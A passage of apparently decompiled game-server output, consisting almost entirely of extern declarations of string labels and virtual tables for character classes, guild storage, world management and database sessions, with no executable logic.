aAxiallisttarge[]; // idb extern char asc_59ADE8[]; // idb extern char aTargetobject_1[]; // idb extern char asc_59AE48[]; // idb extern char asc_59AE80[]; // idb extern char asc_59AEC8[]; // idb extern char asc_59AF00[]; // idb extern char asc_59AF50[]; // idb extern char asc_59AFB0[]; // idb extern char aTargetobject_2[]; // idb extern char asc_59B028[]; // idb extern char asc_59B060[]; // idb extern char asc_59B0A8[]; // idb extern char asc_59B0F4[]; // idb extern char asc_59B124[]; // idb extern char asc_59B154[]; // idb extern char asc_59B188[]; // idb extern char asc_59B1C8[]; // idb extern char asc_59B210[]; // idb extern char asc_59B240[]; // idb extern char asc_59B27C[]; // idb extern char asc_59B2A4[]; // idb extern char asc_59B2D4[]; // idb extern char asc_59B30C[]; // idb extern char asc_59B334[]; // idb extern char asc_59B360[]; // idb extern char asc_59B38C[]; // idb extern char asc_59B3B8[]; // idb extern char asc_59B3E4[]; // idb extern char asc_59B410[]; // idb extern char asc_59B43C[]; // idb extern char asc_59B470[]; // idb extern char asc_59B4A0[]; // idb extern char asc_59B4D4[]; // idb extern char asc_59B50C[]; // idb extern char asc_59B548[]; // idb extern char asc_59B574[]; // idb extern char asc_59B5B4[]; // idb extern char asc_59B5E0[]; // idb extern char asc_59B620[]; // idb extern char aShineobjectc_5[]; // idb extern char aShineobjectc_4[]; // idb extern char aShineobjectc_3[]; // idb extern char aShineobjectc_2[]; // idb extern char asc_59B788[]; // idb extern char asc_59B7F0[]; // idb extern char asc_59B848[]; // idb extern char aWorldmanager_2[]; // idb extern char aShineobject_83[]; // idb extern char aShineobject_82[]; // idb extern char asc_59B930[]; // idb extern char asc_59B968[]; // idb extern char asc_59B99C[]; // idb extern char aShinemobileo_3[27]; // weak extern char asc_59B9E4[]; // idb extern char asc_59BA28[]; // idb extern char asc_59BA6C[]; // idb extern char asc_59BA9C[]; // idb extern char aShineplayerSo_[21]; // weak extern char asc_59BAF0[]; // idb extern char asc_59BB18[]; // idb extern char aShineobject_80[]; // idb extern char asc_59BB88[]; // idb extern char asc_59BBD0[]; // idb extern char asc_59BC18[]; // idb extern char asc_59BC50[]; // idb extern char asc_59BC84[]; // idb extern char asc_59BCBC[]; // idb extern char asc_59BCF4[]; // idb extern char asc_59BD40[]; // idb extern char asc_59BD78[]; // idb extern char asc_59BDAC[]; // idb extern char aSp_schedule_sw[23]; // weak extern char asc_59BDF8[]; // idb extern char asc_59BE30[]; // idb extern char aBattleobject_0[]; // idb extern char aBattleobject_2[]; // idb extern char aBattleobject_3[]; // idb extern char asc_59BF28[]; // idb extern char asc_59BF78[]; // idb extern char aShineobjectc_0[]; // idb extern char aShineobjectc_7[]; // idb extern char asc_59C020[]; // idb extern char aShineobject_81[]; // idb extern char aShineobjectc_6[]; // idb extern char aShineobjectcla[]; // idb extern char aS_1[]; // idb extern char aDbg_txt[]; // idb extern char aA[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_59C120[]; // idb extern char asc_59C15C[]; // idb extern char asc_59C198[]; // idb extern char asc_59C1D0[]; // idb extern char aSmo_icanhealto[15]; // weak extern char asc_59C214[]; // idb extern char asc_59C248[]; // idb extern char asc_59C278[]; // idb extern char asc_59C2A8[]; // idb extern char aSkilleffect_12[]; // idb extern char asc_59C310[]; // idb extern char asc_59C348[]; // idb extern char asc_59C37C[]; // idb extern char aBattleobjectgr[]; // idb extern char asc_59C3DC[]; // idb extern char asc_59C414[]; // idb extern char aSkilleffect_10[]; // idb extern char aSkilleffectapp[]; // idb extern char aSkilleffecta_7[]; // idb extern char aSkilleffecta_1[]; // idb extern char aSkilleffecta_3[]; // idb extern char aSkilleffecta_2[]; // idb extern char aSkilldamagelog[]; // idb extern char aListTTooLong[]; // idb extern char aBlockdistribut[]; // idb extern char aTooSmallSize[]; // idb extern char aBlockdistrib_0[]; // idb extern char aBlockdistrib_2[]; // idb extern int (*ItemBoxIterator::_vftable_[4])(); // weak extern int (__thiscall *ItemBoxIterItem::_vftable_)(_DWORD); // weak extern int (__thiscall *ItemBoxIterEmpty::_vftable_)(_DWORD); // weak extern int (__thiscall *ItemBoxIterIdent::_vftable_)(_DWORD); // weak extern char a___[4]; // idb extern int (__stdcall *AxialListGhostBan::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *Observer::_vftable_)(void *p, char); // weak extern char aKickByDoubleCo[]; // idb extern char asc_59C6F0[]; // idb extern char asc_59C734[]; // idb extern char aRou[]; // idb extern char asc_59C770[]; // idb extern char asc_59C79C[]; // idb extern char asc_59C7DC[]; // idb extern char asc_59C810[]; // idb extern char aBriefinfoexc_8[]; // idb extern char aBriefinfoexcha[]; // idb extern char aBriefinfoexc_0[]; // idb extern char aBriefinfoex_12[]; // idb extern char aBriefinfoex_24[]; // idb extern char aBriefinfoexc_2[]; // idb extern char aBriefinfoexc_9[]; // idb extern char aBriefinfoex_22[]; // idb extern char aBriefinfoex_13[]; // idb extern char aBriefinfoexc_4[]; // idb extern char aBriefinfoexc_3[]; // idb extern char aBriefinfoex_23[]; // idb extern char aBriefinfoexc_6[]; // idb extern char aBriefinfoex_20[]; // idb extern char aBriefinfoex_10[]; // idb extern char asc_59CB00[]; // idb extern char asc_59CB38[]; // idb extern char aServerHnd[]; // idb extern char aCommand[]; // idb extern char aDepartment[]; // idb extern char aGetHandle[]; // idb extern MobTacticElement::MobActionArgument stru_59CBB8; // idb extern char asc_59CF00[]; // idb extern char asc_59CF40[]; // idb extern char asc_59CF70[]; // idb extern char asc_59CFB8[]; // idb extern char asc_59D008[]; // idb extern char aBriefinfoex_21[]; // idb extern char aBriefinfoex_14[]; // idb extern char asc_59D27C[]; // idb extern char aYouAreAdminist[23]; // weak extern char asc_59D308[]; // idb extern char asc_59D33C[]; // idb extern char asc_59D36C[]; // idb extern char asc_59D398[]; // idb extern char asc_59D3D0[]; // idb extern char asc_59D418[]; // idb extern char asc_59D45C[]; // idb extern char asc_59D490[]; // idb extern char asc_59D4C4[]; // idb extern char asc_59D504[]; // idb extern char asc_59D538[]; // idb extern char asc_59D56C[]; // idb extern char asc_59D5A0[]; // idb extern char asc_59D5D4[]; // idb extern char asc_59D610[]; // idb extern char asc_59D660[]; // idb extern char asc_59D6B0[]; // idb extern char asc_59D6F0[]; // idb extern char aSp_nc_map_lo_1[]; // idb extern char aSp_nc_map_logi[]; // idb extern char asc_59D794[]; // idb extern int (__thiscall *CallBackEvent::_vftable_)(void *p, char); // weak extern int (__thiscall *RollBackPosCallBackEvent::_vftable_)(void *p, char); // weak extern char aCharaterski_12[]; // idb extern char aCharaterski_22[]; // idb extern char aCharaterskil_5[]; // idb extern char aCharacterpassi[]; // idb extern char aCharacterpas_2[]; // idb extern char aCharacterpas_1[]; // idb extern char aCharacterpas_3[]; // idb extern char aCharaterski_28[]; // idb extern char aCharaterski_13[]; // idb extern char aCharaterski_21[]; // idb extern char aCharaterski_33[]; // idb extern char aCharaterski_15[]; // idb extern char aCharaterski_10[]; // idb extern char aCharaterski_27[]; // idb extern char aCharaterskil_7[]; // idb extern char aCharaterskil_9[]; // idb extern char aCharaterski_17[]; // idb extern char aCharaterski_14[54]; // weak extern char aCharaterski_25[]; // idb extern char aCharaterskil_1[]; // idb extern char aCharaterskil_4[]; // idb extern char aCharaterski_11[]; // idb extern char aCharaterski_16[]; // idb extern char aCharaterski_29[]; // idb extern char aCharaterski_32[]; // idb extern char aCharaterski_30[]; // idb extern char aCharaterski_19[]; // idb extern char aCharaterski_18[]; // idb extern char aCharaterskil_3[]; // idb extern char aCharaterski_20[]; // idb extern char aCharaterskil_8[]; // idb extern char aCharaterskilll[]; // idb extern int (__stdcall *CharClass::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassMob::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassFighter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCleverFighter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWarrior::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassGladiator::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassKnight::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassCleric::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHighCleric::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassPaladin::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHolyKnight::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassGuardian::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassArchar::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassHawkArcher::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassScout::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassSharpShooter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassRanger::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassMage::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWizMage::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassEnchanter::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWarrock::_vftable_[10])(int iti, int dEndureEndTime); // weak extern int (__stdcall *CharClassWizard::_vftable_[10])(int iti, int dEndureEndTime); // weak extern char aCharclassCc__2[]; // idb extern char aParam[]; // idb extern char aLevel[]; // idb extern char aCharclassCc__1[]; // idb extern char a__9dataShin_63[]; // idb extern char a__9dataShineWo[]; // idb extern char aCharclassCc_lo[]; // idb extern char aParamwizardser[]; // idb extern char aParamwarrockse[]; // idb extern char aParamenchanter[]; // idb extern char aParamwizmagese[]; // idb extern char aParammageserve[]; // idb extern char aParamrangerser[]; // idb extern char aParamsharpshoo[]; // idb extern char aParamscoutserv[]; // idb extern char aParamhawkarche[]; // idb extern char aParamarcherser[]; // idb extern char aParamguardians[]; // idb extern char aParamholyknigh[]; // idb extern char aParampaladinse[]; // idb extern char aParamhighcleri[]; // idb extern char aParamclericser[]; // idb extern char aParamknightser[]; // idb extern char aParamgladiator[]; // idb extern char aParamwarriorse[]; // idb extern char aParamcleverfig[]; // idb extern char txt[]; // idb extern char aCharclassmanag[]; // idb extern char asc_59E650[]; // idb extern char aShineplayerS_0[]; // idb extern char aWorldmanager_5[]; // idb extern char aWorldmanager_4[]; // idb extern char aWorldmanager_7[]; // idb extern char aWorldmanager_6[]; // idb extern char aWorldmanager_9[]; // idb extern char aWorldmanager_8[]; // idb extern char asc_59E818[]; // idb extern char asc_59E85C[]; // idb extern char aWorldmanage_11[]; // idb extern char aWorldmanage_10[]; // idb extern char aWorldmanage_12[]; // idb extern char asc_59E948[]; // idb extern char asc_59E98C[]; // idb extern char asc_59E9C0[]; // idb extern char aWorldmanage_13[]; // idb extern char aWorldmanage_15[]; // idb extern char aWorldmanage_14[]; // idb extern char aWorldmanage_17[]; // idb extern char aWorldmanage_16[]; // idb extern char aWorldmanage_18[]; // idb extern char asc_59EB58[]; // idb extern char asc_59EB9C[]; // idb extern char aWorldmanage_20[]; // idb extern char aWorldmanage_19[]; // idb extern char aWorldmanage_22[]; // idb extern char aWorldmanage_21[]; // idb extern char aShineobject_11[]; // idb extern char aShineobject_10[]; // idb extern char aShineobjectc_9[]; // idb extern char aShineobjectc_8[]; // idb extern char aWorldmanage_24[]; // idb extern char aWorldmanage_23[]; // idb extern char asc_59EE40[]; // idb extern char asc_59EE84[]; // idb extern char aWorldmanage_25[]; // idb extern char aGamedbsessio_2[]; // idb extern char asc_59EF18[]; // idb extern char asc_59EF68[]; // idb extern char asc_59EFBC[]; // idb extern char aGamedbsessio_3[]; // idb extern char aGamedbsessionW[]; // idb extern char asc_59F064[]; // idb extern char asc_59F0A0[]; // idb extern char asc_59F0EC[]; // idb extern char aWorldmanage_26[]; // idb extern char aWorldmanage_27[]; // idb extern char aItemsmallbagSm[]; // idb extern char aItemsmallbag_1[]; // idb extern int (__stdcall *ListEraser::_vftable_)(int ele, __int16 handle); // weak extern char asc_59F230[]; // idb extern char asc_59F274[]; // idb extern char asc_59F2B4[]; // idb extern MobTacticElement::MobActionArgument stru_59F2B8; // idb extern char aShineobject_14[]; // idb extern char aGamedbsessio_8[]; // idb extern char aGamedbsessio_7[]; // idb extern char aGamedbsessio_9[]; // idb extern char aShineobject_13[]; // idb extern char aShineobject_12[]; // idb extern char aGamedbsessi_11[]; // idb extern char aGamedbsessi_10[]; // idb extern char aChargediteme_1[]; // idb extern char aChargediteme_9[]; // idb extern char aChargediteme_2[]; // idb extern char aChargediteme_7[]; // idb extern char aUseskill[]; // idb extern char aRidepetdatab_1[]; // idb extern char aRidepetdatabox[]; // idb extern char dataShine::a[]; // idb extern char skillname[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aChargeditem_10[]; // idb extern char aChargediteme_0[]; // idb extern char aShineobject_73[]; // idb extern char aShineobject_72[]; // idb extern char aShineobject_71[]; // idb extern char aChargediteme_4[]; // idb extern char aChargediteme_5[]; // idb extern int (__stdcall *ChargedItemEffectList::ChargedEffectListRouter::_vftable_)(int ele, __int16 handle); // weak extern char aChargeditemeff[]; // idb extern char asc_59FB10[]; // idb extern char aWorldmanage_28[]; // idb extern char asc_59FB74[]; // idb extern char asc_59FBA8[]; // idb extern char asc_59FBE0[]; // idb extern char asc_59FC28[]; // idb extern char asc_59FC70[]; // idb extern char aReviveHere[]; // idb extern char asc_59FCB8[]; // idb extern char aReviveCity[]; // idb extern char aReviveReady[]; // idb extern char aGamedbsessi_12[]; // idb extern char asc_59FD58[]; // idb extern char asc_59FD9C[]; // idb extern char asc_59FDDC[]; // idb extern char aChangedFromDTo[]; // idb extern char asc_59FE28[]; // idb extern char asc_59FE58[]; // idb extern char asc_59FEA0[]; // idb extern char asc_59FED4[]; // idb extern int (__stdcall *AxialListMobFind::_vftable_)(int, int, int distancesquar); // weak extern char aDroplocationma[]; // idb extern char asc_59FF30[]; // idb extern char asc_59FF64[]; // idb extern char asc_59FF9C[]; // idb extern char aSIsNotInThisMa[]; // idb extern char aSIsNotMobIndex[]; // idb extern char asc_59FFF8[]; // idb extern char aFieldmapFm_m_0[]; // idb extern char aMapmarking[]; // idb extern char aFieldmapFm_m_2[]; // idb extern char aFieldmapFm_mar[]; // idb extern int (*EventReserveBase::_vftable_)(); // weak extern char asc_5A00A0[]; // idb extern char asc_5A00D0[]; // idb extern char asc_5A0100[]; // idb extern char asc_5A0134[]; // idb extern char asc_5A0164[]; // idb extern char asc_5A0194[]; // idb extern char asc_5A01C0[]; // idb extern char asc_5A01EC[]; // idb extern char asc_5A021C[]; // idb extern char asc_5A024C[]; // idb extern char asc_5A027C[]; // idb extern char asc_5A02A8[]; // idb extern char aWholesaverWs_0[]; // idb extern char aWholesaverWs_7[]; // idb extern char aWholesaverWs_1[]; // idb extern char aWholesaverWs_2[]; // idb extern char aWholesaverWs_8[]; // idb extern char aWholesaverW_10[]; // idb extern char aWholesaverWs_5[]; // idb extern char aWholesaverWs_4[]; // idb extern char aNotsaved_bin[]; // idb extern char aWb[]; // idb extern char aEventsaveche_1[]; // idb extern char aEventsavecheck[]; // idb extern char asc_5A0450[]; // idb extern char asc_5A0480[]; // idb extern char asc_5A04B0[]; // idb extern char asc_5A04E4[]; // idb extern char asc_5A0514[]; // idb extern char asc_5A0544[]; // idb extern char asc_5A0570[]; // idb extern char asc_5A059C[]; // idb extern int (__stdcall *AbnormalStateSaver::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalsta_16[47]; // weak extern char aAbnormalsta_35[]; // idb extern char aAbnormalsta_25[]; // idb extern char asc_5A064C[]; // idb extern char asc_5A067C[]; // idb extern char aGamedbsessi_13[]; // idb extern char aGamedbsessionN[]; // idb extern char aGamedbsessi_14[]; // idb extern char aGamedbsessi_15[]; // idb extern char aGamedbsessi_16[]; // idb extern char aGamedbsessi_17[]; // idb extern int (*EventSaveCheck::_vftable_)(); // weak extern char asc_5A0850[]; // idb extern char asc_5A08B8[88]; // weak extern char asc_5A0910[]; // idb extern char aWholesaverSo_s[]; // idb extern char asc_5A0998[]; // idb extern char aCharaterski_26[]; // idb extern char aCharaterski_24[]; // idb extern char asc_5A0A2C[]; // idb extern char aSkillcooltimel[]; // idb extern char asc_5A0A6C[]; // idb extern int (__stdcall *AxialListMobDistribute::_vftable_)(int, int, int distancesquar); // weak extern char aSDD[]; // idb extern char asc_5A0ABC[]; // idb extern char asc_5A0AF0[]; // idb extern char asc_5A0B3C[]; // idb extern char asc_5A0B78[]; // idb extern char asc_5A0BB8[]; // idb extern char asc_5A0BF0[]; // idb extern char asc_5A0C30[]; // idb extern char asc_5A0C64[]; // idb extern char asc_5A0CA4[]; // idb extern char asc_5A0CD8[]; // idb extern char asc_5A0D30[]; // idb extern char asc_5A0D78[]; // idb extern char asc_5A0DB0[]; // idb extern char asc_5A0DE8[]; // idb extern char asc_5A0E20[]; // idb extern char asc_5A0E58[]; // idb extern char asc_5A0E90[]; // idb extern char asc_5A0ED8[]; // idb extern char asc_5A0F10[]; // idb extern char asc_5A0F58[]; // idb extern char asc_5A0FA4[]; // idb extern char asc_5A0FE0[]; // idb extern char asc_5A1018[]; // idb extern char asc_5A1054[]; // idb extern char asc_5A1080[]; // idb extern char asc_5A10C8[]; // idb extern char asc_5A1108[]; // idb extern char asc_5A1148[]; // idb extern char asc_5A117C[]; // idb extern char asc_5A11A4[]; // idb extern char asc_5A11E4[]; // idb extern char asc_5A1218[]; // idb extern char asc_5A1258[]; // idb extern char asc_5A128C[]; // idb extern char asc_5A12B8[]; // idb extern char asc_5A12F8[]; // idb extern char asc_5A1328[]; // idb extern char asc_5A1370[]; // idb extern char asc_5A13A8[]; // idb extern char asc_5A13D8[]; // idb extern int (__stdcall *ClientSession::_vftable_)(int interval); // weak extern int (__stdcall *ClientSessionNull::_vftable_)(int interval); // weak extern int (__thiscall *ClientSessionManager::_vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); // weak extern int (__stdcall *ZoneListenSession::_vftable_)(int interval); // weak extern char aZonelistensess[]; // idb extern char aZonelistens_19[]; // idb extern char aZonelistens_25[]; // idb extern char aDMechinesTrave[]; // idb extern char aZonelistense_9[]; // idb extern char aZonelistense_8[]; // idb extern char aZonelistens_13[]; // idb extern char aZonelistens_24[]; // idb extern char aZonelistens_20[]; // idb extern char aZonelistens_17[]; // idb extern char aZonelistense_5[]; // idb extern char aZonelistens_10[]; // idb extern char aZonelistens_23[]; // idb extern char aZonelistens_16[]; // idb extern char aDamagebyangleD[]; // idb extern char aDamagebyangl_8[]; // idb extern char aDamagebyangl_9[]; // idb extern char aDamagebyangl_7[]; // idb extern char aDamagebyangl_1[]; // idb extern char aDamagebyangl_6[]; // idb extern char aDamagebyangl_3[]; // idb extern char aDamagebyangl_0[]; // idb extern char aDamagebyangl_2[]; // idb extern char a__9dataShine_6[]; // idb extern char a__9dataShin_41[]; // idb extern char aDefskilldata_2[]; // idb extern char aDefskilldata_1[]; // idb extern char asc_5A19A4[]; // idb extern char asc_5A19E0[]; // idb extern char asc_5A1A24[]; // idb extern char aDefskilldataDs[]; // idb extern char asc_5A1A84[]; // idb extern char asc_5A1AC4[]; // idb extern char aShineobject_20[]; // idb extern char aShineobject_19[]; // idb extern char asc_5A1B70[]; // idb extern char asc_5A1BB4[]; // idb extern char asc_5A1BE8[]; // idb extern char aShineobject_18[]; // idb extern char asc_5A1C58[]; // idb extern char asc_5A1C9C[]; // idb extern char asc_5A1CD8[]; // idb extern char asc_5A1D14[]; // idb extern char asc_5A1D44[]; // idb extern char aCooltimeset[]; // idb extern char aSp_ridecast_in[]; // idb extern char aNotNull[9]; // weak extern char asc_5A1DB0[]; // idb extern char asc_5A1DEC[]; // idb extern char aShineobject_17[]; // idb extern char aShineobject_16[]; // idb extern char aShineobject_15[]; // idb extern char asc_5A1EC0[]; // idb extern char asc_5A1F08[]; // idb extern char asc_5A1F50[]; // idb extern char asc_5A1F94[]; // idb extern char aMovererrorlog[]; // idb extern char aDirectdistan_1[]; // idb extern char aDirectdistance[]; // idb extern char aInvalidShinera[]; // idb extern char aDirectdistan_2[]; // idb extern char aDropitemanalyz[]; // idb extern char aDroplocSamed_0[]; // idb extern char aDroplocSamed_2[]; // idb extern char aDroplocSamedis[]; // idb extern char aDroplocation_0[]; // idb extern char aDroplocation_1[]; // idb extern char aDroplocation_3[]; // idb extern char aDuplicatedmenu[]; // idb extern int (__stdcall *VectorClass::VectorWithLength::_vftable_)(int newdist); // weak extern char aDSD[]; // idb extern char aMapload_txt[]; // idb extern int (__stdcall *AxialListNumberCount::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aFieldmapFm_r_1[]; // idb extern char aFieldmapFm_rel[]; // idb extern char aMaprearrangeob[]; // idb extern char aFieldmapFm_dis[]; // idb extern char aFieldmapFm_fin[]; // idb extern char aFieldmapFm_get[]; // idb extern char aFieldmapFm_gui[]; // idb extern char aFieldmapFm_g_2[]; // idb extern char aFieldmapFm_set[]; // idb extern char aFieldmapFm_g_6[]; // idb extern char aFieldmapFm_g_3[]; // idb extern char aFieldmapFm_iss[]; // idb extern char aFieldcontain_4[]; // idb extern char aFieldcontai_11[]; // idb extern char aTooManyMap[]; // idb extern char aChecksumErro_3[]; // idb extern char aErrorInGuild_1[]; // idb extern char aErrorInGuildto[]; // idb extern char aGuildtournam_5[]; // idb extern char aFieldcontain_5[]; // idb extern char aSerial[]; // idb extern char aFieldcontain_1[]; // idb extern char aFieldcontain_9[]; // idb extern char aFieldcontain_8[]; // idb extern char aFieldlist[]; // idb extern char aFieldcontain_2[]; // idb extern char aChecksumErrorI[]; // idb extern char aFieldcontain_0[]; // idb extern char aErrorInInsta_0[]; // idb extern char aErrorInInsta_2[]; // idb extern char aErrorInInstanc[]; // idb extern char aInstancedungeo[]; // idb extern char aFieldcontain_6[]; // idb extern char aErrorInReadFie[]; // idb extern char a__9dataShin_64[]; // idb extern char a__9dataShin_59[]; // idb extern char aFieldcontain_7[]; // idb extern char aMapSetTTooLong[]; // idb extern char aInvalidMapSetT[]; // idb extern char aFieldcontain_3[]; // idb extern char a__9dataShin_15[]; // idb extern char aFieldcontainer[]; // idb extern char aFieldmapFm_cre[]; // idb extern char asc_5A288C[]; // idb extern char asc_5A28BC[]; // idb extern char aSI64uFF[]; // idb extern char aCSU[]; // idb extern char aDD[]; // idb extern char aS04d02d02d02d_[]; // idb extern char aFunctionExecNu[]; // idb extern char aFunctionperfor[]; // idb extern int (__stdcall *GameDBSession::_vftable_)(int interval); // weak extern char aVarificationEr[]; // idb extern char aDDD[]; // idb extern char aGamedbsessi_18[]; // idb extern char aGamedbsessi_20[]; // idb extern char aGamedbsessi_19[]; // idb extern char aGamedbsessi_21[]; // idb extern char aWorldmanage_29[]; // idb extern char aGamedbsessi_22[]; // idb extern int (__stdcall *GameLogSession::_vftable_)(int interval); // weak extern char aGamelogsession[]; // idb extern char aGamelogsessi_6[]; // idb extern char aGamelogsessi_2[]; // idb extern char aGamelogsessi_1[]; // idb extern char aGamelogsessi_3[]; // idb extern char aCharaterskil_6[]; // idb extern char aGatherproduc_2[]; // idb extern char a__9dataShineGa[]; // idb extern char aGatherproduceG[]; // idb extern char aGatherproduc_3[]; // idb extern char aGatherproduc_0[]; // idb extern char dataShine::a[]; // idb extern char aGatherproduceR[]; // idb extern char aCharaterskil_2[]; // idb extern char aCharaterski_31[]; // idb extern char asc_5A2DA0[]; // idb extern char asc_5A2DD0[]; // idb extern char asc_5A2E00[]; // idb extern char asc_5A2E48[]; // idb extern char asc_5A2E9C[]; // idb extern char asc_5A2ED8[]; // idb extern char asc_5A2F30[]; // idb extern char asc_5A2F88[]; // idb extern char asc_5A2FD8[]; // idb extern char asc_5A3010[]; // idb extern char asc_5A3060[]; // idb extern char asc_5A30B8[]; // idb extern char asc_5A3108[]; // idb extern char asc_5A3144[]; // idb extern char aItemproducerIt[]; // idb extern char aItemproducer_6[]; // idb extern char asc_5A31C0[]; // idb extern char aItemproducer_2[]; // idb extern char aItemproducerIp[]; // idb extern char aItemproducer_3[]; // idb extern char aItemproducer_0[]; // idb extern char aItemproducer_4[]; // idb extern char asc_5A32F0[]; // idb extern char asc_5A3338[]; // idb extern char asc_5A337C[]; // idb extern char aGamedbsessi_25[]; // idb extern char aGamedbsessi_24[]; // idb extern char aGamedbsessi_23[]; // idb extern char aShineplayer_14[]; // idb extern char asc_5A3480[]; // idb extern char asc_5A34D0[]; // idb extern char asc_5A3524[]; // idb extern char asc_5A3560[]; // idb extern char asc_5A3598[]; // idb extern char asc_5A35E0[]; // idb extern char asc_5A3630[]; // idb extern char asc_5A367C[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeactive::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_2[]; // idb extern int (__stdcall *ShineGuildAcademyGuildBuff::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_3[]; // idb extern int (__stdcall *ShineGuildAcademyMasterBuff::_vftable_)(int, __int16 handle); // weak extern char asc_5A3720[]; // idb extern char aShineplayer_10[]; // idb extern char aShineplayer_16[81]; // weak extern char aShineplayerS_4[75]; // weak extern char aShineplayer_22[73]; // weak extern char asc_5A38C0[]; // idb extern char aWorldmanage_30[]; // idb extern char aWorldmanage_31[]; // idb extern char aWorldmanage_32[]; // idb extern char aWorldmanage_33[]; // idb extern char aWorldmanage_34[]; // idb extern char aWorldmanage_37[]; // idb extern char aWorldmanage_36[]; // idb extern char aWorldmanage_35[]; // idb extern char aGamedbsessi_26[]; // idb extern char aGamedbsessi_27[]; // idb extern char aGamedbsessi_28[]; // idb extern char aSp_nc_guild_ac[]; // idb extern char asc_5A3C80[]; // idb extern char asc_5A3CD0[]; // idb extern char asc_5A3D30[]; // idb extern char asc_5A3D80[]; // idb extern char asc_5A3DE0[]; // idb extern char asc_5A3E30[]; // idb extern char asc_5A3E80[]; // idb extern char asc_5A3EE0[]; // idb extern char asc_5A3F30[]; // idb extern char aSo_ply_guildac[]; // idb extern char asc_5A3FB8[]; // idb extern char asc_5A4000[]; // idb extern char asc_5A4068[]; // idb extern char asc_5A40C0[]; // idb extern char asc_5A4128[]; // idb extern char asc_5A4180[]; // idb extern char aGuildacademy_1[]; // idb extern char aShineguildac_6[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5A4298[]; // idb extern char asc_5A42F0[]; // idb extern char aGuildacademy_8[]; // idb extern char aGuildacademy_5[]; // idb extern char aGuildacademy_6[]; // idb extern char aGuildacademy_0[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademy_2[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeposit::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademyre[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_)(int, __int16 handle); // weak extern int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_)(unsigned int guild, __int16 GuildInven); // weak extern char aGuildacademy_4[]; // idb extern char aGuildacademy_9[]; // idb extern char aGuildacademy_3[]; // idb extern char aGarsm_rewardin[]; // idb extern char aShineguildac_4[]; // idb extern char aShineguildac_5[]; // idb extern char aShineguildac_0[]; // idb extern char aShineguildacad[]; // idb extern char aZonelistens_18[]; // idb extern char aZonelistens_14[]; // idb extern char asc_5A4800[]; // idb extern char asc_5A4848[]; // idb extern char asc_5A4898[]; // idb extern char asc_5A48E8[67]; // weak extern char asc_5A492C[]; // idb extern char asc_5A4968[]; // idb extern char asc_5A49B0[]; // idb extern char asc_5A4A00[]; // idb extern char asc_5A4A50[67]; // weak extern char asc_5A4A94[]; // idb extern char asc_5A4ACC[]; // idb extern char asc_5A4B00[]; // idb extern char asc_5A4B34[]; // idb extern char asc_5A4B68[]; // idb extern char aGuildRenameN_1[]; // idb extern char aGuildRenameNul[]; // idb extern char asc_5A4BF0[]; // idb extern char asc_5A4C30[]; // idb extern char aGuildRetypeN_1[]; // idb extern char aGuildRetypeNul[]; // idb extern char asc_5A4CB8[]; // idb extern char asc_5A4CF8[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aGuildstorageGu[]; // idb extern char aShineobject_41[]; // idb extern char asc_5A4DC8[]; // idb extern char asc_5A4E10[]; // idb extern int (__stdcall *ShineGuildStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildstorage_1[]; // idb extern char aZonelistense_2[]; // idb extern char aShineguildst_1[]; // idb extern char aShineguildstor[]; // idb extern char asc_5A4F18[82]; // weak extern char aGtentrymaperr1[]; // idb extern char aGtentrymaperr0[]; // idb extern char aShinemobMb_sen[]; // idb extern char asc_5A4FC0[]; // idb extern char asc_5A5018[]; // idb extern char asc_5A5070[]; // idb extern char asc_5A50C8[]; // idb extern int (__stdcall *ShineGuildStorageDeactive::_vftable_)(int, __int16 handle); // weak extern char aShineguildst_2[]; // idb extern char aPineeventsc_45[]; // idb extern char aFieldmapFm_g_1[]; // idb extern char aFieldmapFm_g_5[]; // idb extern char aFieldmapFm_g_0[]; // idb extern char asc_5A521C[]; // idb extern char asc_5A5250[]; // idb extern char asc_5A5298[]; // idb extern char asc_5A52E8[]; // idb extern char aWorldmanage_41[]; // idb extern char aWorldmanage_40[]; // idb extern char aWorldmanage_39[105]; // weak 